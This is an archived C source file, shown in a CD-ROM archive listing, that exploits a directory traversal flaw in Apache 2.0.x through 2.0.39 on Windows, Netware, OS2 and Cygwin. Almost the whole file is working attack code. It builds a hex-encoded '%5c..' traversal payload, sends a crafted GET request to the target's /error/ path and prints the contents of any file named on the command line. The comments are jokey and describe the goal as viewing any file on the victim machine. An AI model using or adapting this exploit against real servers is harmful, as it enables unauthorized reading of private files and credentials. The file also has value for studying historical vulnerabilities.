home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / apache / DSR-apache2.0x.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  127 lines

  1. /*
  2.  * DSR-apache2.0x by bob@dtors.net
  3.  * Exploit found by Auriemma Luigi.
  4.  * 
  5.  * This is Proof on Concept exploit for
  6.  * the current directory traversal design flaw 
  7.  * in apache 2.0.x - 2.0.39.
  8.  * 
  9.  * Affected Systems:
  10.  *
  11.  * Windows [win32]
  12.  * Netware
  13.  * OS2
  14.  * Cygwin
  15.  *
  16.  * This exploit allows the attacker to view ANY
  17.  * file on the target machine if it is vulnerable
  18.  * to this attack.
  19.  *
  20.  */
  21.  
  22. #include <stdio.h>
  23. #include <unistd.h>
  24. #include <string.h>
  25. #include <sys/socket.h>
  26. #include <netinet/in.h>
  27. #include <netdb.h>
  28. #define bs "%5c"
  29.  
  30. char travcode[]= 
  31.   "\x25\x35\x63\x25\x32\x65\x25\x32\x65"
  32.   "\x25\x35\x63\x25\x32\x65\x25\x32\x65"
  33.   "\x25\x35\x63\x25\x32\x65\x25\x32\x65"
  34.   "\x25\x35\x63\x25\x32\x65\x25\x32\x65"
  35.   "\x25\x35\x63\x25\x32\x65\x25\x32\x65"
  36.   "\x25\x35\x63";
  37.  
  38. void reply(int sock);
  39.  
  40. void
  41. reply(int sock) 
  42. {
  43.   int n;
  44.   char recvbuf[1024];
  45.   fd_set rset;
  46.  
  47.   while (1)
  48.   {
  49.     FD_ZERO(&rset);
  50.     FD_SET(sock,&rset);
  51.     FD_SET(STDIN_FILENO,&rset);
  52.     select(sock+1,&rset,NULL,NULL,NULL);
  53.  
  54.     if (FD_ISSET(sock,&rset))
  55.     {
  56.       if((n=read(sock,recvbuf,1024)) <= 0)
  57.       {
  58.         printf("Connection closed by foreign ghost.\n");
  59.         exit(0);
  60.       }         
  61.  
  62.       recvbuf[n]=0;
  63.       printf("%s",recvbuf);
  64.     }                      
  65.  
  66.     if (FD_ISSET(STDIN_FILENO,&rset))
  67.     {
  68.       if((n=read(STDIN_FILENO,recvbuf,1024)) > 0)
  69.       {
  70.         recvbuf[n]=0;
  71.        //write(sock,recvbuf,n);
  72.       }
  73.     }
  74.   }
  75. }
  76.  
  77. int
  78. main(int argc, char *argv[])
  79. {
  80.   int sock;
  81.   char exp[1024];
  82.   struct in_addr addr;
  83.   struct sockaddr_in sin;
  84.   struct hostent *he;
  85.  
  86.   fprintf(stdout, "\n\tDSR-apache2.0x.c By bob.\n"); 
  87.   fprintf(stdout, "Proof Of Concept Code for Apache 2.0.x 2.0.39\n");
  88.   fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");
  89.  
  90.   if(argc<4) 
  91.   {
  92.     fprintf(stderr, "\nUsage : %s <host> <dir> <file>\n\n", argv[0]);
  93.     exit(1);
  94.   } 
  95.  
  96.   if ((he=gethostbyname(argv[1])) == NULL)
  97.   {
  98.     fprintf(stderr, "Cumon! Gimme some socks to put on!\n\n");
  99.     exit(1);
  100.   }
  101.  
  102.   /* A fresh pair of clean socks ;) */
  103.   sock=socket(AF_INET, SOCK_STREAM, 0);
  104.   bcopy(he->h_addr, (char *)&sin.sin_addr, he->h_length);
  105.   sin.sin_family=AF_INET;
  106.   sin.sin_port=htons(80);
  107.  
  108.   /* yummy fresh smelling */
  109.   fprintf(stdout, "Hold up bish connecting to host... \n");
  110.   if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
  111.   {
  112.     fprintf(stderr, "My socks are all sweaty.\n");
  113.     exit(1);
  114.   } else {
  115.     /* im exhausted after that...gn */
  116.     sleep(3);
  117.  
  118.     sprintf(exp, "GET /error/%s%s%s%s HTTP/1.1\r\nHost: %s\r\n\r\n" ,travcode, argv[2], bs, argv[3], argv[1]);    
  119.     write(sock,exp,strlen(exp));
  120.  
  121.     fprintf(stdout, "This is not going to be pritty.\nIm a lion here me ROAR!\n\n");
  122.     reply(sock);
  123.  
  124.     close(sock);
  125.     exit (0);
  126.   }
  127. }